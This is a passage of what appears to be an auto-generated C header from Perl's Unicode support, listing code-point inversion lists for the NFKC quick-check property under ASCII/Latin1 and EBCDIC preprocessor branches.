0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NFKCQC__N_invlist[] = { /* for EBCDIC 037 */ - 503, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xB7, - 0xBA, - 0xBC, - 0xBF, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x340, - 0x342, - 0x343, - 0x345, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x675, - 0x679, - 0x958, - 0x960, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB5C, - 0xB5E, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x10FC, - 0x10FD, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9C, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1FBB, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FDB, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FEB, - 0x1FEC, - 0x1FED, - 0x1FF0, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NFKCQC__Y_invlist[] = { /* for ASCII/Latin1 */ - 573, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA0, - 0xA1, - 0xA8, - 0xA9, - 0xAA, - 0xAB, - 0xAF, - 0xB0, - 0xB2, - 0xB6, - 0xB8, - 0xBB, - 0xBC, - 0xBF, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x300, - 0x305, - 0x306, - 0x30D, - 0x30F, - 0x310, - 0x311, - 0x312, - 0x313, - 0x315, - 0x31B, - 0x31C, - 0x323, - 0x329, - 0x32D, - 0x32F, - 0x330, - 0x332, - 0x338, - 0x339, - 0x340, - 0x346, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x653, - 0x656, - 0x675, - 0x679, - 0x93C, - 0x93D, - 0x958, - 0x960, - 0x9BE, - 0x9BF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB3E, - 0xB3F, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xBBE, - 0xBBF, - 0xBD7, - 0xBD8, - 0xC56, - 0xC57, - 0xCC2, - 0xCC3, - 0xCD5, - 0xCD7, - 0xD3E, - 0xD3F, - 0xD57, - 0xD58, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDDF, - 0xDE0, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x102E, - 0x102F, - 0x10FC, - 0x10FD, - 0x1161, - 0x1176, - 0x11A8, - 0x11C3, - 0x1B35, - 0x1B36, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9C, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1FBB, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FDB, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FEB, - 0x1FEC, - 0x1FED, - 0x1FF0, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x3099, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x110BA, - 0x110BB, - 0x11127, - 0x11128, - 0x1133E, - 0x1133F, - 0x11357, - 0x11358, - 0x114B0, - 0x114B1, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x115AF, - 0x115B0, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NFKCQC__Y_invlist[] = { /* for EBCDIC 1047 */ - 579, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x42, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0xA0, - 0xA1, - 0xB7, - 0xBA, - 0xBB, - 0xBD, - 0xBE, - 0xBF, - 0xDA, - 0xDB, - 0xEA, - 0xEB, - 0xFA, - 0xFB, - 0x132, - 0x134, - 0x13F, - 0x141, - 0x149, - 0x14A, - 0x17F, - 0x180, - 0x1C4, - 0x1CD, - 0x1F1, - 0x1F4, - 0x2B0, - 0x2B9, - 0x2D8, - 0x2DE, - 0x2E0, - 0x2E5, - 0x300, - 0x305, - 0x306, - 0x30D, - 0x30F, - 0x310, - 0x311, - 0x312, - 0x313, - 0x315, - 0x31B, - 0x31C, - 0x323, - 0x329, - 0x32D, - 0x32F, - 0x330, - 0x332, - 0x338, - 0x339, - 0x340, - 0x346, - 0x374, - 0x375, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x384, - 0x386, - 0x387, - 0x388, - 0x3D0, - 0x3D7, - 0x3F0, - 0x3F3, - 0x3F4, - 0x3F6, - 0x3F9, - 0x3FA, - 0x587, - 0x588, - 0x653, - 0x656, - 0x675, - 0x679, - 0x93C, - 0x93D, - 0x958, - 0x960, - 0x9BE, - 0x9BF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E0, - 0xA33, - 0xA34, - 0xA36, - 0xA37, - 0xA59, - 0xA5C, - 0xA5E, - 0xA5F, - 0xB3E, - 0xB3F, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xBBE, - 0xBBF, - 0xBD7, - 0xBD8, - 0xC56, - 0xC57, - 0xCC2, - 0xCC3, - 0xCD5, - 0xCD7, - 0xD3E, - 0xD3F, - 0xD57, - 0xD58, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDDF, - 0xDE0, - 0xE33, - 0xE34, - 0xEB3, - 0xEB4, - 0xEDC, - 0xEDE, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF73, - 0xF74, - 0xF75, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0x102E, - 0x102F, - 0x10FC, - 0x10FD, - 0x1161, - 0x1176, - 0x11A8, - 0x11C3, - 0x1B35, - 0x1B36, - 0x1D2C, - 0x1D2F, - 0x1D30, - 0x1D3B, - 0x1D3C, - 0x1D4E, - 0x1D4F, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DC0, - 0x1E9A, - 0x1E9C, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1FBB, - 0x1FBC, - 0x1FBD, - 0x1FC2, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FDB, - 0x1FDC, - 0x1FDD, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FEB, - 0x1FEC, - 0x1FED, - 0x1FF0, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFF, - 0x2000, - 0x200B, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x202F, - 0x2030, - 0x2033, - 0x2035, - 0x2036, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A8, - 0x20A9, - 0x2100, - 0x2104, - 0x2105, - 0x2108, - 0x2109, - 0x2114, - 0x2115, - 0x2117, - 0x2119, - 0x211E, - 0x2120, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2132, - 0x2133, - 0x213A, - 0x213B, - 0x2141, - 0x2145, - 0x214A, - 0x2150, - 0x2180, - 0x2189, - 0x218A, - 0x222C, - 0x222E, - 0x222F, - 0x2231, - 0x2329, - 0x232B, - 0x2460, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2C7C, - 0x2C7E, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x3099, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA69C, - 0xA69E, - 0xA770, - 0xA771, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0x110BA, - 0x110BB, - 0x11127, - 0x11128, - 0x1133E, - 0x1133F, - 0x11357, - 0x11358, - 0x114B0, - 0x114B1, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x115AF, - 0x115B0, - 0x1D15E, - 0x1D165, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 